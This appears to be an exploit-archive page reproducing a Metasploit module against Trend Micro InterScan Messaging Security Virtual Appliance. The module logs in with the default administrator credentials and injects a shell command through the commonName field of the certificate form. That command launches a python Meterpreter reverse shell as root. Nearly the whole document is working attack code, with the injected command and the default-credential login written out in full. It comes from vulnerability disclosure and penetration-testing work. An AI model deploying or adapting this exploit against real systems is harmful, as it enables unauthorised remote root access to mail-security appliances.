Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution

2017.02.28
Credit: Mehmet Ince
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution', 'Description' => %q{ This module exploits a command injection vulnerability in the Trend Micro IMSVA product. An authenticated user can execute a terminal command under the context of the web server user which is root. Besides, default installation of IMSVA comes with a default administrator credentials. saveCert.imss endpoint takes several user inputs and performs blacklisting. After that it use them as argument of predefined operating system command without proper sanitation. However,due to improper blacklisting rule it's possible to inject arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue. This module was tested against IMSVA 9.1-1600. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mehmet Ince <mehmet@mehmetince.net>' # discovery & msf module ], 'References' => [ ['URL', 'https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/'] ], 'Privileged' => true, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'BadChars' => "\x2f\x22" }, 'DefaultOptions' => { 'SSL' => true, 'payload' => 'python/meterpreter/reverse_tcp', }, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'Targets' => [ ['Automatic', {}] ], 'DisclosureDate' => 'Jan 15 2017', 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The target URI of the Trend Micro IMSVA', '/']), OptString.new('USERNAME', [ true, 'The username for authentication', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password for authentication', 'imsva' ]), Opt::RPORT(8445) ] ) end def login user = datastore['USERNAME'] pass = datastore['PASSWORD'] print_status("Attempting to login with #{user}:#{pass}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.imss'), 'vars_post' => { 'userid' => user, 'pwdfake' => Rex::Text::encode_base64(pass) } }) if res && res.body.include?("The user name or password you entered is invalid") fail_with(Failure::NoAccess, "#{peer} - Login with #{user}:#{pass} failed...") end cookie = res.get_cookies if res.code == 302 && cookie.include?("JSESSIONID") jsessionid = cookie.scan(/JSESSIONID=(\w+);/).flatten.first print_good("Authenticated as #{user}:#{pass}") return jsessionid end nil end def exploit jsessionid = login unless jsessionid fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID') end # Somehow java stores last visited url on session like viewstate! # Visit form before submitting it. Otherwise, it will cause a crash. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'initCert.imss'), 'cookie' => "JSESSIONID=#{jsessionid}" }) if !res or !res.body.include?("Transport Layer Security") fail_with(Failure::Unknown, 'Unable to visit initCert.imss') end # Random string that will be used as a cert name, state, email etc. r = Rex::Text::rand_text_alphanumeric(5) print_status("Delivering payload...") # Since double quote are blacklisted, we are using Single, Backslash, Single, Single on our payload. Thanks to @wvu !!! res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'saveCert.imss'), 'cookie' => "JSESSIONID=#{jsessionid}", 'vars_get' => { 'mode' => 0 }, 'vars_post' => { 'certName' => r, 'certType' => 0, 'keyLength' => 2048, 'countryCode' => 'TR', 'state' => r, 'locality' => r, 'org' => r, 'orgUnit' => r, 'commonName' => "#{r}';python -c '#{payload.encoded.gsub("'", "'\\\\''")}' #", 'emailAddress' => "#{r}@mail.com", 'validDays' => '', 'id' => '', } }) end end

References:

https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/


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